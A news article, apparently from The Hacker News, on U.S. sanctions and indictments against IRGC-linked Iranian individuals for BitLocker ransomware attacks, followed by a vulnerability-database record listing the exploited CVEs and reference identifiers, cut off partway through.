U.S. Charges 3 Iranian Hackers and Sanctions Several Others Over Ransomware Attacks

2022-09-15T06:49:00

Description

[![Iranian Hackers](https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjUqmffIx48KtQdHxTXb4TQfvElel4yvoLc_Uq-nF3atp_DnKXEvX_r4s4FR-V9kItxokvkUgH3L-QP1uH3JrII_VtRNnXYXU3EYxwsreIbOgCkHKHN4AbWxtUPY5tKaH8u6YvYBd2oA_JReHSU1gNdaKY11tzzrlCHhUSTJzZr4yGRgnN-fUCAb2Mv/s728-e1000/iranian-hackers.jpg)](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjUqmffIx48KtQdHxTXb4TQfvElel4yvoLc_Uq-nF3atp_DnKXEvX_r4s4FR-V9kItxokvkUgH3L-QP1uH3JrII_VtRNnXYXU3EYxwsreIbOgCkHKHN4AbWxtUPY5tKaH8u6YvYBd2oA_JReHSU1gNdaKY11tzzrlCHhUSTJzZr4yGRgnN-fUCAb2Mv/s728-e100/iranian-hackers.jpg>) The U.S. Treasury Department's Office of Foreign Assets Control (OFAC) on Wednesday announced sweeping sanctions against ten individuals and two entities backed by Iran's Islamic Revolutionary Guard Corps (IRGC) for their involvement in ransomware attacks at least since October 2020. The agency said the cyber activity mounted by the individuals is partially attributable to intrusion sets tracked under the names APT35, Charming Kitten, Nemesis Kitten, Phosphorus, and TunnelVision. "This group has launched extensive campaigns against organizations and officials across the globe, particularly targeting U.S. and Middle Eastern defense, diplomatic, and government personnel, as well as private industries including media, energy, business services, and telecommunications," the Treasury [said](<https://home.treasury.gov/news/press-releases/jy0948>). The Nemesis Kitten actor, which is also known as [Cobalt Mirage](<https://thehackernews.com/2022/05/iranian-hackers-leveraging-bitlocker.html>), [DEV-0270](<https://thehackernews.com/2022/09/microsoft-warns-of-ransomware-attacks.html>), and [UNC2448](<https://thehackernews.com/2022/09/iranian-apt42-launched-over-30.html>), has come under the scanner in recent months for its pattern of ransomware attacks for opportunistic revenue generation using Microsoft's built-in BitLocker tool to encrypt files on compromised devices. Microsoft and Secureworks have characterized DEV-0270 as a subgroup of [Phosphorus](<https://thehackernews.com/2022/09/iranian-hackers-target-high-value.html>) (aka Cobalt Illusion), with ties to another actor referred to as [TunnelVision](<https://thehackernews.com/2022/02/iranian-hackers-targeting-vmware.html>). The Windows maker also assessed with low confidence that "some of DEV-0270's ransomware attacks are a form of moonlighting for personal or company-specific revenue generation." What's more, independent analyses from the two cybersecurity firms as well as Google-owned [Mandiant](<https://thehackernews.com/2022/09/iranian-apt42-launched-over-30.html>) has revealed the group's connections to two companies Najee Technology (which functions under the aliases Secnerd and Lifeweb) and Afkar System, both of which have been subjected to U.S. sanctions. It's worth noting that Najee Technology and Afkar System's connections to the Iranian intelligence agency were first flagged by an anonymous anti-Iranian regime entity called [Lab Dookhtegan](<https://thehackernews.com/2021/05/researchers-uncover-iranian-state.html>) [earlier](<https://mobile.twitter.com/LabDookhtegan2/status/1520355269695442945>) this [year](<https://mobile.twitter.com/LabDookhtegan2/status/1539960629867401218>). "The model of Iranian government intelligence functions using contractors blurs the lines between the actions tasked by the government and the actions that the private company takes on its own initiative," Secureworks said in a [new report](<https://www.secureworks.com/blog/opsec-mistakes-reveal-cobalt-mirage-threat-actors>) detailing the activities of Cobalt Mirage. While exact links between the two companies and IRGC remain unclear, the method of private Iranian firms acting as fronts or providing support for intelligence operations is well established over the years, including that of [ITSecTeam (ITSEC), Mersad](<https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged>), [Emennet Pasargad](<https://thehackernews.com/2021/11/us-charged-2-iranians-hackers-for.html>), and [Rana Intelligence Computing Company](<https://thehackernews.com/2020/09/iranian-hackers-sanctioned.html>). On top of that, the Secureworks probe into a June 2022 Cobalt Mirage incident showed that a PDF file containing the ransom note was created on December 17, 2021, by an "Ahmad Khatibi" and timestamped at UTC+03:30 time zone, which corresponds to the Iran Standard Time. Khatibi, incidentally, happens to be the CEO and owner of the Iranian company Afkar System. Ahmad Khatibi Aghda is also part of the 10 individuals sanctioned by the U.S., alongside Mansour Ahmadi, the CEO of Najee Technology, and other employees of the two enterprises who are said to be complicit in targeting various networks globally by leveraging well-known security flaws to gain initial access to further follow-on attacks. Some of the [exploited flaws](<https://www.cisa.gov/uscert/ncas/alerts/aa22-257a>), according to a [joint cybersecurity advisory](<https://www.cisa.gov/uscert/ncas/current-activity/2022/09/14/iranian-islamic-revolutionary-guard-corps-affiliated-cyber-actors>) released by Australia, Canada, the U.K., and the U.S., as part of the IRGC-affiliated actor activity are as follows - * Fortinet FortiOS path traversal vulnerability ([CVE-2018-13379](<https://thehackernews.com/2021/09/hackers-leak-vpn-account-passwords-from.html>)) * Fortinet FortiOS default configuration vulnerability ([CVE-2019-5591](<https://thehackernews.com/2021/08/unpatched-remote-hacking-zero-day-flaw.html>)) * Fortinet FortiOS SSL VPN 2FA bypass vulnerability ([CVE-2020-12812](<https://thehackernews.com/2021/08/unpatched-remote-hacking-zero-day-flaw.html>)) * [ProxyShell](<https://thehackernews.com/2021/08/hackers-actively-searching-for.html>) (CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207), and * [Log4Shell](<https://thehackernews.com/2021/12/new-apache-log4j-update-released-to.html>) (CVE-2021-44228, CVE-2021-45046, and/or CVE-2021-45105) "Khatibi is among the cyber actors who gained unauthorized access to victim networks to encrypt the network with BitLocker and demand a ransom for the decryption keys," the U.S. government said, in addition to adding him to the FBI's [Most Wanted list](<https://www.fbi.gov/wanted/cyber/ahmad-khatibi-aghda>). "He leased network infrastructure used in furtherance of this malicious cyber group's activities, he participated in compromising victims' networks, and he engaged in ransom negotiations with victims." Coinciding with the sanctions, the Justice Department separately [indicted](<https://www.justice.gov/usao-nj/pr/three-iranian-nationals-charged-engaging-computer-intrusions-and-ransomware-style>) Ahmadi, Khatibi, and a third Iranian national named Amir Hossein Nickaein Ravari for engaging in a criminal extortion scheme to inflict damage and losses to victims located in the U.S., Israel, and Iran. All three individuals have been charged with one count of conspiring to commit computer fraud and related activity in connection with computers; one count of intentionally damaging a protected computer; and one count of transmitting a demand in relation to damaging a protected computer. Ahmadi has also been charged with one more count of intentionally damaging a protected computer. That's not all. The U.S. State Department has also [announced monetary rewards](<https://www.state.gov/sanctioning-iranians-for-malicious-cyber-acts/>) of up to $10 million for any information about [Mansour, Khatibi, and Nikaeen](<https://rewardsforjustice.net/index/?jsf=jet-engine:rewards-grid&tax=cyber:3266>) and their whereabouts. "These defendants may have been hacking and extorting victims – including critical infrastructure providers – for their personal gain, but the charges reflect how criminals can flourish in the safe haven that the Government of Iran has created and is responsible for," Assistant Attorney General Matthew Olsen said. The development comes close on the heels of [sanctions](<https://thehackernews.com/2022/09/us-imposes-new-sanctions-on-iran-over.html>) imposed by the U.S. against Iran's Ministry of Intelligence and Security (MOIS) and its Minister of Intelligence, Esmaeil Khatib, for engaging in cyber-enabled activities against the nation and its allies. Found this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter __](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.

{"id": "THN:802C6445DD27FFC7978D22CC3182AD58", "vendorId": null, "type": "thn", "bulletinFamily": "info", "title": "U.S. Charges 3 Iranian Hackers and Sanctions Several Others Over Ransomware Attacks", "description": "[![Iranian Hackers](https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjUqmffIx48KtQdHxTXb4TQfvElel4yvoLc_Uq-nF3atp_DnKXEvX_r4s4FR-V9kItxokvkUgH3L-QP1uH3JrII_VtRNnXYXU3EYxwsreIbOgCkHKHN4AbWxtUPY5tKaH8u6YvYBd2oA_JReHSU1gNdaKY11tzzrlCHhUSTJzZr4yGRgnN-fUCAb2Mv/s728-e1000/iranian-hackers.jpg)](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjUqmffIx48KtQdHxTXb4TQfvElel4yvoLc_Uq-nF3atp_DnKXEvX_r4s4FR-V9kItxokvkUgH3L-QP1uH3JrII_VtRNnXYXU3EYxwsreIbOgCkHKHN4AbWxtUPY5tKaH8u6YvYBd2oA_JReHSU1gNdaKY11tzzrlCHhUSTJzZr4yGRgnN-fUCAb2Mv/s728-e100/iranian-hackers.jpg>)\n\nThe U.S. Treasury Department's Office of Foreign Assets Control (OFAC) on Wednesday announced sweeping sanctions against ten individuals and two entities backed by Iran's Islamic Revolutionary Guard Corps (IRGC) for their involvement in ransomware attacks at least since October 2020.\n\nThe agency said the cyber activity mounted by the individuals is partially attributable to intrusion sets tracked under the names APT35, Charming Kitten, Nemesis Kitten, Phosphorus, and TunnelVision.\n\n\"This group has launched extensive campaigns against organizations and officials across the globe, particularly targeting U.S. and Middle Eastern defense, diplomatic, and government personnel, as well as private industries including media, energy, business services, and telecommunications,\" the Treasury [said](<https://home.treasury.gov/news/press-releases/jy0948>).\n\nThe Nemesis Kitten actor, which is also known as [Cobalt Mirage](<https://thehackernews.com/2022/05/iranian-hackers-leveraging-bitlocker.html>), [DEV-0270](<https://thehackernews.com/2022/09/microsoft-warns-of-ransomware-attacks.html>), and [UNC2448](<https://thehackernews.com/2022/09/iranian-apt42-launched-over-30.html>), has come under the scanner in recent months for its pattern of ransomware attacks for opportunistic revenue generation using Microsoft's built-in BitLocker tool to encrypt files on compromised devices.\n\nMicrosoft and Secureworks have characterized DEV-0270 as a subgroup of [Phosphorus](<https://thehackernews.com/2022/09/iranian-hackers-target-high-value.html>) (aka Cobalt Illusion), with ties to another actor referred to as [TunnelVision](<https://thehackernews.com/2022/02/iranian-hackers-targeting-vmware.html>). The Windows maker also assessed with low confidence that \"some of DEV-0270's ransomware attacks are a form of moonlighting for personal or company-specific revenue generation.\"\n\nWhat's more, independent analyses from the two cybersecurity firms as well as Google-owned [Mandiant](<https://thehackernews.com/2022/09/iranian-apt42-launched-over-30.html>) has revealed the group's connections to two companies Najee Technology (which functions under the aliases Secnerd and Lifeweb) and Afkar System, both of which have been subjected to U.S. sanctions.\n\nIt's worth noting that Najee Technology and Afkar System's connections to the Iranian intelligence agency were first flagged by an anonymous anti-Iranian regime entity called [Lab Dookhtegan](<https://thehackernews.com/2021/05/researchers-uncover-iranian-state.html>) [earlier](<https://mobile.twitter.com/LabDookhtegan2/status/1520355269695442945>) this [year](<https://mobile.twitter.com/LabDookhtegan2/status/1539960629867401218>).\n\n\"The model of Iranian government intelligence functions using contractors blurs the lines between the actions tasked by the government and the actions that the private company takes on its own initiative,\" Secureworks said in a [new report](<https://www.secureworks.com/blog/opsec-mistakes-reveal-cobalt-mirage-threat-actors>) detailing the activities of Cobalt Mirage.\n\nWhile exact links between the two companies and IRGC remain unclear, the method of private Iranian firms acting as fronts or providing support for intelligence operations is well established over the years, including that of [ITSecTeam (ITSEC), Mersad](<https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged>), [Emennet Pasargad](<https://thehackernews.com/2021/11/us-charged-2-iranians-hackers-for.html>), and [Rana Intelligence Computing Company](<https://thehackernews.com/2020/09/iranian-hackers-sanctioned.html>).\n\nOn top of that, the Secureworks probe into a June 2022 Cobalt Mirage incident showed that a PDF file containing the ransom note was created on December 17, 2021, by an \"Ahmad Khatibi\" and timestamped at UTC+03:30 time zone, which corresponds to the Iran Standard Time. Khatibi, incidentally, happens to be the CEO and owner of the Iranian company Afkar System.\n\nAhmad Khatibi Aghda is also part of the 10 individuals sanctioned by the U.S., alongside Mansour Ahmadi, the CEO of Najee Technology, and other employees of the two enterprises who are said to be complicit in targeting various networks globally by leveraging well-known security flaws to gain initial access to further follow-on attacks.\n\nSome of the [exploited flaws](<https://www.cisa.gov/uscert/ncas/alerts/aa22-257a>), according to a [joint cybersecurity advisory](<https://www.cisa.gov/uscert/ncas/current-activity/2022/09/14/iranian-islamic-revolutionary-guard-corps-affiliated-cyber-actors>) released by Australia, Canada, the U.K., and the U.S., as part of the IRGC-affiliated actor activity are as follows -\n\n * Fortinet FortiOS path traversal vulnerability ([CVE-2018-13379](<https://thehackernews.com/2021/09/hackers-leak-vpn-account-passwords-from.html>))\n * Fortinet FortiOS default configuration vulnerability ([CVE-2019-5591](<https://thehackernews.com/2021/08/unpatched-remote-hacking-zero-day-flaw.html>))\n * Fortinet FortiOS SSL VPN 2FA bypass vulnerability ([CVE-2020-12812](<https://thehackernews.com/2021/08/unpatched-remote-hacking-zero-day-flaw.html>))\n * [ProxyShell](<https://thehackernews.com/2021/08/hackers-actively-searching-for.html>) (CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207), and\n * [Log4Shell](<https://thehackernews.com/2021/12/new-apache-log4j-update-released-to.html>) (CVE-2021-44228, CVE-2021-45046, and/or CVE-2021-45105)\n\n\"Khatibi is among the cyber actors who gained unauthorized access to victim networks to encrypt the network with BitLocker and demand a ransom for the decryption keys,\" the U.S. government said, in addition to adding him to the FBI's [Most Wanted list](<https://www.fbi.gov/wanted/cyber/ahmad-khatibi-aghda>).\n\n\"He leased network infrastructure used in furtherance of this malicious cyber group's activities, he participated in compromising victims' networks, and he engaged in ransom negotiations with victims.\"\n\nCoinciding with the sanctions, the Justice Department separately [indicted](<https://www.justice.gov/usao-nj/pr/three-iranian-nationals-charged-engaging-computer-intrusions-and-ransomware-style>) Ahmadi, Khatibi, and a third Iranian national named Amir Hossein Nickaein Ravari for engaging in a criminal extortion scheme to inflict damage and losses to victims located in the U.S., Israel, and Iran.\n\nAll three individuals have been charged with one count of conspiring to commit computer fraud and related activity in connection with computers; one count of intentionally damaging a protected computer; and one count of transmitting a demand in relation to damaging a protected computer. Ahmadi has also been charged with one more count of intentionally damaging a protected computer.\n\nThat's not all. The U.S. State Department has also [announced monetary rewards](<https://www.state.gov/sanctioning-iranians-for-malicious-cyber-acts/>) of up to $10 million for any information about [Mansour, Khatibi, and Nikaeen](<https://rewardsforjustice.net/index/?jsf=jet-engine:rewards-grid&tax=cyber:3266>) and their whereabouts.\n\n\"These defendants may have been hacking and extorting victims \u2013 including critical infrastructure providers \u2013 for their personal gain, but the charges reflect how criminals can flourish in the safe haven that the Government of Iran has created and is responsible for,\" Assistant Attorney General Matthew Olsen said.\n\nThe development comes close on the heels of [sanctions](<https://thehackernews.com/2022/09/us-imposes-new-sanctions-on-iran-over.html>) imposed by the U.S. against Iran's Ministry of Intelligence and Security (MOIS) and its Minister of Intelligence, Esmaeil Khatib, for engaging in cyber-enabled activities against the nation and its allies.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "published": "2022-09-15T06:49:00", "modified": "2022-09-16T03:17:57", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 10.0}, "severity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 10.0, "baseSeverity": "CRITICAL"}, "exploitabilityScore": 3.9, "impactScore": 6.0}, "href": "https://thehackernews.com/2022/09/us-charges-3-iranian-hackers-and.html", "reporter": "The Hacker News", "references": [], "cvelist": ["CVE-2018-13379", "CVE-2019-5591", "CVE-2020-12812", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "immutableFields": [], "lastseen": "2022-09-16T04:03:41", "viewCount": 179, "enchantments": {"dependencies": {"references": [{"type": "akamaiblog", "idList": ["AKAMAIBLOG:61BDCEC3AEF8E6FC9E12623DB54E8144", "AKAMAIBLOG:65F0FA2139A357151F74FA41EF42B50F", "AKAMAIBLOG:7E872DA472DB19F259EC6E0D8CA018FF", "AKAMAIBLOG:94B715279ABA113C427A5E987C080DA7", "AKAMAIBLOG:B0985AEDEB4DAED26BDA30B9488D329D", "AKAMAIBLOG:B0DBF0121097FA293565FB7E66E09AB3"]}, {"type": "amazon", "idList": ["ALAS-2021-1553", "ALAS-2021-1554", "ALAS-2022-1580", "ALAS-2022-1601", "ALAS2-2021-1730", "ALAS2-2021-1731", "ALAS2-2021-1732", "ALAS2-2021-1733", "ALAS2-2022-1739", "ALAS2-2022-1773", "ALAS2-2022-1806"]}, {"type": "amd", "idList": ["AMD-SB-1034"]}, {"type": "apple", "idList": ["APPLE:251C897D47AD6A2DB0B7E3792A81C425"]}, {"type": "atlassian", "idList": ["CRUC-8529", "FE-7368"]}, {"type": "attackerkb", "idList": ["AKB:0B6C144F-2E5A-4D5E-B629-E45C2530CB94", "AKB:116FDAE6-8C6E-473E-8D39-247560D01C09", "AKB:21AD0A36-A0AA-486B-A379-B47156286E9E", "AKB:3191CCF9-DA8E-43DF-8152-1E3A5D1A3C45", "AKB:35B88369-C440-49C0-98FF-C50E258FB32C", "AKB:398CAD69-31E4-4276-B510-D93B2C648A74", "AKB:5E706DDA-98EC-49CA-AB21-4814DAF26444", "AKB:6F1D646E-2CDB-4382-A212-30728A7DB899", "AKB:83F1ABD4-4E2B-4E5A-BFE5-81C4FB7A474A", "AKB:91756851-9B25-4801-B911-E3226A0656B5", "AKB:B1318EAC-2E60-4695-B63B-2D10DAAA5B0E", "AKB:B54A15A1-8D06-4902-83F9-DC10E40FA81A", "AKB:BDCF4DDE-714E-40C0-B4D9-2B4ECBAD31FF", "AKB:C4CD066B-E590-48F0-96A7-FFFAFC3D23CC", "AKB:F2A441BA-2246-446C-9B34-400B2F3DD77B"]}, {"type": "avleonov", "idList": ["AVLEONOV:469525DB37AAC7A2242EE80C1BCBC8DB", "AVLEONOV:4E65E4AC928647D5E246B06B953BBC6F", "AVLEONOV:89C75127789AC2C132A3AA403F035902", "AVLEONOV:B0F649A99B171AC3032AF71B1DCCFE34"]}, {"type": "cert", "idList": ["VU:930724"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2018-1187", "CPAI-2021-0476", "CPAI-2021-0900", "CPAI-2021-0936", "CPAI-2021-0955"]}, {"type": "checkpoint_security", "idList": ["CPS:SK176865"]}, {"type": "cisa", "idList": ["CISA:006B1DC6A817621E16EEB4560519A418", "CISA:24BBE0D109CEB29CF9FC28CEA2AD0CFF", "CISA:380E63A9EAAD85FA1950A6973017E11B", "CISA:45B6D68A097309E99D8E7192B1E8A8BE", "CISA:6C962B804E593B231FDE50912F4D093A", "CISA:8367DA0C1A6F51FB2D817745BB204C48", "CISA:8C51810D4AACDCCDBF9D526B4C21660C", "CISA:918B5EC3622C761B0424597D3F7AFF7C", "CISA:920F1DA8584B18459D4963D91C8DDA33", "CISA:E46D6B22DC3B3F8B062C07BD8EA4CB7C", "CISA:F3C70D08CAE58CBD29A5E5ED6B2AE473"]}, {"type": "cisa_kev", "idList": ["CISA-KEV-CVE-2018-13379", "CISA-KEV-CVE-2019-5591", "CISA-KEV-CVE-2020-12812", "CISA-KEV-CVE-2021-31207", "CISA-KEV-CVE-2021-34473", "CISA-KEV-CVE-2021-34523", "CISA-KEV-CVE-2021-44228"]}, {"type": "cisco", "idList": ["CISCO-SA-APACHE-LOG4J-QRUKNEBD"]}, {"type": "citrix", "idList": ["CTX335705"]}, {"type": "cloudfoundry", "idList": ["CFOUNDRY:690C01663F820378948F8CF2E2405F72"]}, {"type": "cve", "idList": ["CVE-2018-13379", "CVE-2019-5591", "CVE-2020-12812", "CVE-2021-3100", "CVE-2021-31196", "CVE-2021-31206", "CVE-2021-31207", "CVE-2021-33768", "CVE-2021-34470", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-4104", "CVE-2021-4125", "CVE-2021-44228", "CVE-2021-44530", "CVE-2021-45046", "CVE-2021-45105", "CVE-2022-0070", "CVE-2022-23848", "CVE-2022-33915"]}, {"type": "debian", "idList": ["DEBIAN:DLA-2842-1:95CB4", "DEBIAN:DLA-2852-1:37D89", "DEBIAN:DSA-5020-1:32A64", "DEBIAN:DSA-5022-1:D26EE", "DEBIAN:DSA-5024-1:FE296"]}, {"type": "debiancve", "idList": ["DEBIANCVE:CVE-2021-4104", "DEBIANCVE:CVE-2021-44228", "DEBIANCVE:CVE-2021-45046", "DEBIANCVE:CVE-2021-45105"]}, {"type": "dsquare", "idList": ["E-691"]}, {"type": "exploitdb", "idList": ["EDB-ID:47287", "EDB-ID:47288", "EDB-ID:50590", "EDB-ID:50592"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:6EF33E509C6C5002F8E81022F84C01B5", "EXPLOITPACK:E222442D181419B052AACE6DA4BC8485"]}, {"type": "f5", "idList": ["F5:K19026212", "F5:K24554520", "F5:K32171392", "F5:K34002344", "F5:K34162192"]}, {"type": "fedora", "idList": ["FEDORA:0A343304CB93", "FEDORA:548FD3102AB0", "FEDORA:59AA230A7074", "FEDORA:95A5B306879A", "FEDORA:A5A703103140"]}, {"type": "fireeye", "idList": ["FIREEYE:FC60CAB5C936FF70E94A7C9307805695"]}, {"type": "fortinet", "idList": ["FG-IR-18-384", "FG-IR-19-037", "FG-IR-19-283", "FG-IR-20-233", "FG-IR-21-245"]}, {"type": "freebsd", "idList": ["1EA05BB8-5D74-11EC-BB1E-001517A2E1A4", "3FADD7E4-F8FB-45A0-A218-8FD6423C338F", "4B1AC5A3-5BD4-11EC-8602-589CFC007716", "515DF85A-5CD7-11EC-A16D-001517A2E1A4", "650734B2-7665-4170-9A0A-EECED5E10A5E", "93A1C9A7-5BEF-11EC-A47A-001517A2E1A4", "B0F49CB9-6736-11EC-9EEA-589CFC007716", "D1BE3D73-6737-11EC-9EEA-589CFC007716"]}, {"type": "github", "idList": ["GHSA-3QPM-H9CH-PX3C", "GHSA-7RJR-3Q55-VV33", "GHSA-FP5R-V3W9-4333", "GHSA-J3CH-VJPH-8Q6V", "GHSA-J7C3-96RF-JRRP", "GHSA-JFH8-C2JP-5V3Q", "GHSA-MF4F-J588-5XM8", "GHSA-P6XC-XR62-6R2G", "GHSA-V57X-GXFJ-484Q", "GITHUB:070AFCDE1A9C584654244E41373D86D8", "GITHUB:D32BE0B8A571761A967462652837D28F"]}, {"type": "githubexploit", "idList": ["00264586-32AF-5469-819B-90FBDA0B6FF2", "00423BD1-64DA-5DB0-848E-1BACC0883E15", "0099FB22-A94E-5D32-9BC4-2EC6D5CFFA9C", "016A0841-D1FF-5056-B062-0D08FCE624CB", "0241DC13-63CB-580C-BDC6-78F8BB03567D", "030066BA-6C48-5AD9-9EAF-11DECB6A3930", "034AFC0C-D411-5F4A-BBAB-630A6C972933", "03C230DA-F801-5660-BF8E-AB8F44E2755C", "0420DA06-BC6E-5B30-8BA3-E30BDE351E15", "0568D2CD-87AF-5D34-AA65-868B1DDA0A89", "0577D04A-4517-5872-B4C0-E45DD6246D88", "066BA250-177D-5017-9AC2-6B948A465ABC", "06D271D5-7A61-5692-9778-7F521D52F980", "0793D7AB-F57C-5832-B456-4057704CAEC9", "07C462E5-20A3-5023-B363-47E1B0C1AE4E", "09509FA9-9FC3-5B64-900D-F0842DC8BCF7", "09F9BA9F-83A2-52EF-81A0-214FCD9E240D", "0A015784-48D7-5DC1-9FB9-416A9BBEA6D5", "0A26B4F0-3175-58BE-9CE7-133C9D85E181", "0ABA9FB5-93DD-59F1-9580-232DBFBB4AD8", "0B596CD2-49C7-50A8-A43C-8DE3027EC2B7", "0BC62E37-D6E2-5B2C-BF89-3E00D98D2E30", "0C734DE8-002A-5611-8897-213D53D85089", "0C98B78F-B467-5298-825B-05ECB4EE2653", "0CBB2E72-C52F-59B6-BD73-DBDD206C4C35", "0CEA12C7-97F6-5BF5-88FF-6797542A037F", "0D243A34-B42E-5007-90D0-A30ECABDA204", "0D4B651A-4424-55FE-B496-1BB733DE7EE2", "0D6ADE4E-8BA2-5BA9-94CB-ED90234A9B5C", "0E43C674-363B-53C2-8686-6F412A995AF4", "0E47338D-BDC0-510A-BC15-093F2E1DEF2C", "0E8471F7-D213-552B-ABD8-B3B1FAD4B910", "1097EF60-FC77-5135-B92B-4A84B46FABAF", "11719BED-E629-5C79-944E-7E40BBFC460C", "126A30D2-0273-510B-B34A-DF7AE6E0C1C0", "129B39DD-AB9E-54F0-B6B4-5EA17F29B7DF", "12AAE278-1B08-5F3E-AC28-8EC928D3D7C8", "13542749-F70C-5BAA-A20C-8A464D612535", "1370FA0C-A273-5E82-9EEB-7E2E5628D23E", "13EDAA06-F1A5-5097-AD3A-3D6129C325A7", "141F2E38-979B-50B5-B649-96785B255523", "14482532-2406-58DF-89FF-30B085015257", "149F99C3-6B62-5255-8DA6-A0370E6ED5F7", "14E4E272-9457-53A0-ADD5-F91385D04FCD", "161B70B2-DFA5-54B6-A4CE-45B79999AAC6", "16B2ABBF-5997-58A1-A4C9-0161F64D116C", "16C11F1E-B5B4-508E-8238-6BF3458B34D3", "16EB55EE-7CC4-58C7-86AC-E9FD7066B5F1", "170912E2-BB33-5CB8-AD90-C0A737FCAC5E", "17C204F9-DD70-5EFB-89D4-B642E65FAF99", "1AD6F414-6637-555A-AA79-BEE90EDB10AB", "1B11A8A4-B07C-580C-AF38-33A50B17B19A", "1B8CBBEC-5ABA-5792-8D2A-A51EB4CC6352", "1C354B89-0050-508B-98F4-B43CBD84F364", "1CC6B535-3451-5066-8C2E-94551FEC545E", "1CCC4512-40AB-5F72-9913-3D894DB4676F", "1D3D13FB-46D9-572A-A304-FEEC4619D37B", "1E085D9B-26F5-5960-938C-AEB76BCE61D8", "1E62A076-94ED-5061-AE4F-432BB8D7A59C", "210D354B-2338-5AA4-BB87-981C2D2BAA06", "21AACF78-8053-529E-909E-B6D5158008AC", "21B5671D-2A35-52FF-9702-380A32B96260", "21F23081-849E-5B0D-AB61-A8EB37CA0B38", "22AAF71B-053F-5E71-9F26-039C48FCCD62", "22C2FC0C-2C78-5EF7-B21B-5B76E82E2E99", "22C736D4-4179-585F-990B-A40436F65461", "231364E1-A2B1-558A-B805-F242AA97B13F", "23A2D479-181C-599C-9C0F-9A2FF201348F", "2421E200-716C-5F29-84C0-DD8B9C41D92E", "24682F53-DE0E-5967-AAC7-98806644A14C", "24751999-698F-5052-988C-193144F85A39", "254068B4-97B4-5DCF-A60F-5206B6DD230E", "26905C55-5DC7-5275-A0AF-FAF06685612E", "26FD2B5F-2952-5624-8CB5-3ECD4480DA87", "27760EBF-2681-5AF4-B884-18C8BED5127A", "27D73012-7283-5C8D-8197-BBAE1964DEE3", "29A41C2D-FF26-591A-A88B-DDB396742BBC", "2A95146E-A404-5015-9D39-293C8EAFF4B6", "2AA77664-83AA-50B1-9F4E-37CC67A5CFAC", "2AF28508-1272-5281-BDB7-B44D3EFC7C72", "2AF7350D-AB79-5AB5-8AF9-0F351CE13D30", "2B297EB1-A602-5F7B-B21B-C34BC6EB4308", "2D0AC1C7-F656-5D6B-9FC2-79525014BE1E", "2D2BE5CB-742A-5912-9D88-75365533F9E2", "2E7FF2D4-97E7-54F5-A5C8-EACD22FCF303", "2E946B1D-12B1-56D1-A72E-A3026C240B1D", "2EACBFB9-2956-564B-A859-6C85EF9F785A", "2F792C33-6CC6-58F1-9166-4DEA421DE2C3", "2F83846E-DF16-5074-98CB-01158DE1C6C6", "30BD2114-A602-52D3-908F-8B66A46F1A8C", "30C6DF99-400E-539F-AA8D-39E7407F4796", "31E7D7EA-2E1F-59D8-8BD7-81B8A4894F91", "32BB43C3-F80D-5CBF-83AD-55BD38C2A440", "342CC1B7-6E24-5767-A7B1-90B95A91B503", "34DFC7F1-8012-5B3A-B9F1-EFEDB5F89D1D", "3549B000-260E-5A24-9573-935F898D149C", "356A7EC9-4E47-52B9-856C-0215B3D9C70E", "35A70212-DFFC-5B38-8294-2B835B8080DE", "371D4A15-51B5-520B-B31D-856E557695FD", "3734D8ED-657E-5585-B181-DE9BE2D84456", "38AF0E71-397C-5A1E-B67C-5514D8F8ABC8", "39A13697-AF09-5E14-9DE2-045005EA9D85", "39D0749D-74E3-5D08-804A-6E7E52BCE692", "3A118B0C-1B94-5CA7-81D3-2A3230EB4DC9", "3A1D442B-2B5B-5DEA-9276-9A9B6C06C9DF", "3A8F706B-1F40-5DAB-AB25-BA023D568AFA", "3AAA878D-C72A-52A0-A5B6-0977BAF6F01D", "3ACF6BFE-C853-50C6-BD49-B76794B8BA53", "3B7408B1-9041-550E-9CB8-83E5F609C37B", "3D2CC855-C8BA-5DC6-8C78-D67984FBA93F", "3D8E1FE1-17FA-5A92-B109-DEDB55A6BEAB", "3DF3AA17-94C8-5E17-BCB8-F806D1746CDF", "3DFE8091-03AE-565B-A198-BD509784502C", "3E142E8E-743B-5786-9EB8-0FED1933F71D", "3EA1CA63-F1F5-5A86-AB97-E327DAE18E93", "3FB46D12-73E5-58EF-BC2A-4FC103B8FF72", "4066A0A4-284D-5ECC-A476-ADDA61AF9A76", "4096BFF5-03AE-5DA0-8AD6-85D69E2570C1", "40C633CE-4DD0-586D-8773-760E9A70FFBD", 